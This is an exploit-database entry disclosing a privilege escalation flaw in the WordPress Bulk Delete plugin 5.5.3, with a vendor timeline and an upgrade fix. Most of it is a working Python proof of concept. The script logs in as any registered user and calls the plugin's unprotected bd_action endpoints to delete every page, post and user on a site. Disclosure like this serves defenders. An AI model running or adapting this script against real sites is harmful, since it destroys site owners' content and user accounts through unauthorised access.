WordPress Bulk Delete Plugin 5.5.3 - Privilege Escalation



EKU-ID: 5435 CVE: OSVDB-ID:
Author: Panagiotis Vagenas Published: 2016-03-04 Verified: Verified
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'''
* Exploit Title: WordPress Bulk Delete Plugin [Privilege Escalation]
* Discovery Date: 2016-02-10
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://bulkwp.com/
* Software Link: https://wordpress.org/plugins/bulk-delete/
* Version: 5.5.3
* Tested on: WordPress 4.4.2
* Category: WebApps, WordPress
 
 
Description
-----------
 
_Bulk Delete_ plugin for WordPress suffers from a privilege escalation
vulnerability. Any registered user can exploit the lack of capabilities
checks to perform all administrative tasks provided by the _Bulk Delete_
plugin. Some of these actions, but not all, are:
 
- `bd_delete_pages_by_status`: deletes all pages by status
- `bd_delete_posts_by_post_type`: deletes all posts by type
- `bd_delete_users_by_meta`: delete all users with a specific pair of
meta name, meta value
 
Nearly all actions registered by this plugin can be performed from any
user, as long as they passed to a query var named `bd_action` and the
user has a valid account. These actions would normally require
administrative wrights, so we can consider this as a privilege
escalation vulnerability.
 
PoC
---
 
The following script will delete all pages, posts and users from the
infected website.
'''
 
#!/usr/bin/python3
 
################################################################################
# Bulk Delete Privilege Escalation Exploit
#
# **IMPORTANT** Don't use this in a production site, if vulnerable it will
# delete nearly all your sites content
#
# Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
################################################################################
 
import requests
 
loginUrl = 'http://example.com/wp-login.php'
adminUrl = 'http://example.com/wp-admin/index.php'
 
loginPostData = {
'log': 'username',
'pwd': 'password',
'rememberme': 'forever',
'wp-submit': 'Log+In'
}
 
l = requests.post(loginUrl, data=loginPostData)
 
if l.status_code != 200 or len(l.history) == 0 or
len(l.history[0].cookies) == 0:
print("Couldn't acquire a valid session")
exit(1)
 
loggedInCookies = l.history[0].cookies
 
def do_action(action, data):
try:
requests.post(
adminUrl + '?bd_action=' + action,
data=data,
cookies=loggedInCookies,
timeout=30
)
except TimeoutError:
print('Action ' + action + ' timed out')
else:
print('Action ' + action + ' performed')
 
print('Deleting all pages')
do_action(
'delete_pages_by_status',
{
'smbd_pages_force_delete': 'true',
'smbd_published_pages': 'published_pages',
'smbd_draft_pages': 'draft_pages',
'smbd_pending_pages': 'pending_pages',
'smbd_future_pages': 'future_pages',
'smbd_private_pages': 'private_pages',
}
)
 
print('Deleting all posts from all default post types')
do_action('delete_posts_by_post_type', {'smbd_types[]': [
'post',
'page',
'attachment',
'revision',
'nav_menu_item'
]})
 
print('Deleting all users')
do_action(
'delete_users_by_meta',
{
'smbd_u_meta_key': 'nickname',
'smbd_u_meta_compare': 'LIKE',
'smbd_u_meta_value': '',
}
)
 
exit(0)
 
 
'''
Solution
--------
 
Upgrade to v5.5.4
 
Timeline
--------
 
1. **2016-02-10**: Requested CVE ID
2. **2016-02-10**: Vendor notified through wordpress.org support forums
3. **2016-02-10**: Vendor notified through the contact form at bulkwp.com
4. **2016-02-10**: Vendor responded and received details about the issue
5. **2016-02-10**: Vendor verified vulnerability
6. **2016-02-13**: Vendor released v5.5.4 which resolves this issue
'''